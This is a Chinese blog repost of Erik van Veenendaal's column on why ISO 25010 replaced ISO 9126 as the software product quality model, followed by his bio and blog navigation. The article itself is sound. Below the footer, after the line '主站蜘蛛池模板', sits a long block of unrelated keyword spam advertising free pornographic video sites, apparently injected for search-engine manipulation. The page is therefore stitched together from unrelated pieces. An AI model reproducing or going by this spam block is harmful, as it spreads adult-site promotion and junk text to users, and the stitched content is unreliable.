      2014年在馬來西亞SOFTEC,我遇見了Azuma教授, ISO 9126和ISO 25010的編寫者。我聽了他的演講,后來還與他談過話。就是那時,我開始理解用ISO 25010取代ISO 9126的背景和原因,這算不上代替,而是針對信息通信技術演變背景的替代,如強大的微處理器,更大的內存,更好的顯示器,更多的硬盤存儲,及提升的通信網絡(見圖2)。信息通信技術的演變確保新應用系統的開發,反之新應用系統的開發又需要不同品質性狀。1991年, 9126最初發布時,還沒有谷歌,Facebook,智能手機,云計算,電子商務等。IT領域也就是它的應用,由于信息通信技術演變給組織提供的可能性,在過去20年發生了極大的改變。


      圖2.信息和通信技術演進


      軟件質量是核心
      隨著系統變得越來越復雜和較越來越大,基礎軟件的質量對企業成功的至關重要。軟件系統的關鍵性能增加了不少。現在的應用程序有別于20年甚至10年前的;他們對產品質量也有不同的需求:
      交互式客戶軟件對可用性和共存性的要求很高
      網絡和開放系統對安全性和互操作性的要求很高
      任務關鍵性系統對功能的正確性和可靠性要求很高
      實踐中,ISO 9126仍然是最常用的軟件質量特性標準。但是,ISO 25010正逐漸流行起來。 ISO 25010標準,基于能確保新應用系統的開發(而這又需要開發不同的質量特性)的信息通信技術演變,開發來取代ISO 9126,。我現在明白了,在ISO 9126框架需要更新以應對當今世界的信息通信技術及其應用。這不是為了改變而改變。新的軟件產品質量標準ISO 25010是可用的,且應盡快成為測試人員和其他軟件學科的重要標準。有趣的是9126上提出的問題,如本專欄前面所述,也得到了解決。讓我們采用這種新架構,并開始在我們的日常測試實踐中使用它。


      圖3.ISO25010產品質量模型


      Erik van Veenendaal是一名國際知名的尖端顧問和培訓師,和一名在軟件測試和質量管理領域廣受認可的專家。他是Improve Quality Services BV的創始人。他保持著歐洲之星的記錄,三次獲得最佳導師將!2007年,因其對測試專業做出多年貢獻,他獲得了歐洲測試優秀獎。他作為測試經理和顧問在各個領域工作了20多年。他撰寫了多篇論文和多部著作,包括“實用基于風險的測試: Prisma法”和“軟件測試ISTQB基礎” 。他是TMap測試方法的核心開發人之一及一名國際需求工程局( IREB )的工作小組的參與者。Erik曾是艾恩德霍芬科技大學的一名兼職高級講師及國際軟件測試認證委員會的副會長( 2005-2009 ) ,目前是TMMi基金會的董事會成員。你可以在twitter上通過@ ErikvVeenendaal關注Erik。

    posted @ 2014-07-23 09:38 順其自然EVO 閱讀(270) | 評論 (0)編輯 收藏

    僅列出標題
    共394頁: First 上一頁 79 80 81 82 83 84 85 86 87 下一頁 Last 
    <2025年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    導航

    統計

    常用鏈接

    留言簿(55)

    隨筆分類

    隨筆檔案

    文章分類

    文章檔案

    搜索

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 成年女人A毛片免费视频| 国产成人涩涩涩视频在线观看免费 | 亚洲A∨午夜成人片精品网站| 久久久久亚洲av无码专区| 青娱乐在线免费观看视频| 18禁美女裸体免费网站| 相泽亚洲一区中文字幕| 黄人成a动漫片免费网站| 亚洲AV永久无码精品水牛影视| 少妇亚洲免费精品| 国产a不卡片精品免费观看| 亚洲熟女综合色一区二区三区| 猫咪免费人成网站在线观看| 大桥未久亚洲无av码在线| 日韩免费高清视频| 亚洲第一街区偷拍街拍| 大学生一级特黄的免费大片视频 | 亚洲人成色4444在线观看| 成人免费一区二区三区在线观看| 亚洲香蕉在线观看| h视频在线免费看| 亚洲综合视频在线观看| 黄网站色在线视频免费观看| 亚洲乱码在线视频| 无码少妇一区二区浪潮免费| 亚洲首页国产精品丝袜| 99久9在线|免费| 亚洲视频在线一区二区三区| 91手机看片国产永久免费| 国产精品黄页免费高清在线观看| 亚洲一区爱区精品无码| 99热免费在线观看| yellow视频免费看| 亚洲第一视频网站| 69式国产真人免费视频 | 免费黄网站在线看| 亚洲无限乱码一二三四区| 亚洲中文无码永久免费| 久久青草免费91线频观看站街| 亚洲欧洲自拍拍偷午夜色| 亚洲V无码一区二区三区四区观看|